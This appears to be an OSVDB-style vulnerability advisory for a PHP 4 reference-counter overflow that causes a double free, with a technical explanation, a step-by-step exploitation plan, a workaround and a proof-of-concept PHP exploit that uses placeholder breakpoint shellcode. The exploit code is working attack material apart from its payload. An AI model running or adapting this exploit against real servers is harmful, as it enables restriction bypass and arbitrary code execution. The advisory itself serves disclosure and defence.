|
|
Info |
Last Modified |
| about 1 year ago |
|
|
|
|
|
Description |
PHP contains a flaw that may allow a malicious local user to bypass restrictions enforced by disable_functions, open_basedir, and safe_mode, or to launch direct local root exploits against the affected system. The issue is due to the possibility of a PHP application that is run in PHP 4 overflowing the zend_ushort refcount variable in _zval_struct through the creation of a large number of references for a specific variable, resulting in a double destruction of the underlying variable. It is possible that the flaw may allow a local attacker to execute arbitrary code within the process executing PHP resulting in a loss of integrity.
|
|
Classification |
Location:
Local Access Required
Attack Type:
Input Manipulation
Impact:
Loss of Integrity
Exploit:
Exploit Available
Disclosure:
OSVDB Verified
|
|
Technical |
When the PHP 4 ZVAL structure was designed, the refcount variable was made 16 bits wide. In PHP 5 this field is 32 bits wide, due to the ease of overflowing a 16 bit counter and due to PHP not having internal protection against overflows of the reference counter.
--------------------- ZVAL Structure --------------------- struct _zval_struct { zvalue_value value; /* value */ zend_uchar type; /* active type */ zend_uchar is_ref; zend_ushort refcount; };
------------------------------ Exploit Explanation ------------------------------ 1) Create a string that has the same size as a Hashtable 2) Create 65536 references to it to overflow the refcount variable 3) Free one of these references -> Refcount drops down to 0 -> String gets freed 4) Free some more zvals 5) Create a new array with one element -> Put shellcode in the key -> Hashtable struct will be in the same place as the string 6) Use string to directly access the content of the Hashtable -> Read pointer to first bucket -> Add 32 bytes, offset to array key -> Write pointer to the destructor field 7) Unset array -> Executes code in $shellcode
--------------- Exploit --------------- // the exploit is without real shell code and, as such, will only trigger the debugger // Just make sure that the shellcode string is long enough to not end up in PHP's internal memory cache <?php die("REMOVE THIS LINE"); $shellcode = str_repeat(chr(0xcc), 500); $________________________str = str_repeat("A", 39); $________________________yyy = &$________________________str; $________________________xxx = &$________________________str; for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str; $________________________aaa = " XXXXX "; $________________________aab = " XXXx.xXXX "; $________________________aac = " XXXx.xXXX "; $________________________aad = " XXXXX "; unset($________________________xxx); unset($________________________aaa); unset($________________________aab); unset($________________________aac); unset($________________________aad); $arr = array($shellcode => 1); $addr = unpack("L", substr($________________________str, 6*4, 4)); $addr = $addr[1] + 32; $addr = pack("L", $addr); for ($i=0; $i<strlen($addr); $i++) { $________________________str[8*4+$i] = $addr[$i]; $________________________yyy[8*4+$i] = $addr[$i]; } unset($arr); ?>
|
|
Solution |
Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): Manually change the size of the reference counter in your own PHP. The problem with this approach is that you will have to recompile all your PHP extensions and will not be able to use closed source PHP extensions.
|
|
Products |
|
PHP
 |
4.0 Beta 1 |
4.0 Beta 2 |
4.0 Beta 3 |
4.0 Beta 4 |
4.0.x |
4.1.x |
4.2.x |
4.4.0 |
4.4.2 |
4.4.1 |
4.3.x |
4.4.3 |
4.4.5 |
4.4.6 |
4.4.4 |
4.0, Release Candidate 2 |
4.0, Release Candidate 1 |
|
|
|
|
|
|
Credit |
- Stefan Esser - sesser
hardened-php.net - www.hardened-php.net
|
|
BlogsProvided by Technorati
|
None found at this time
|
|
|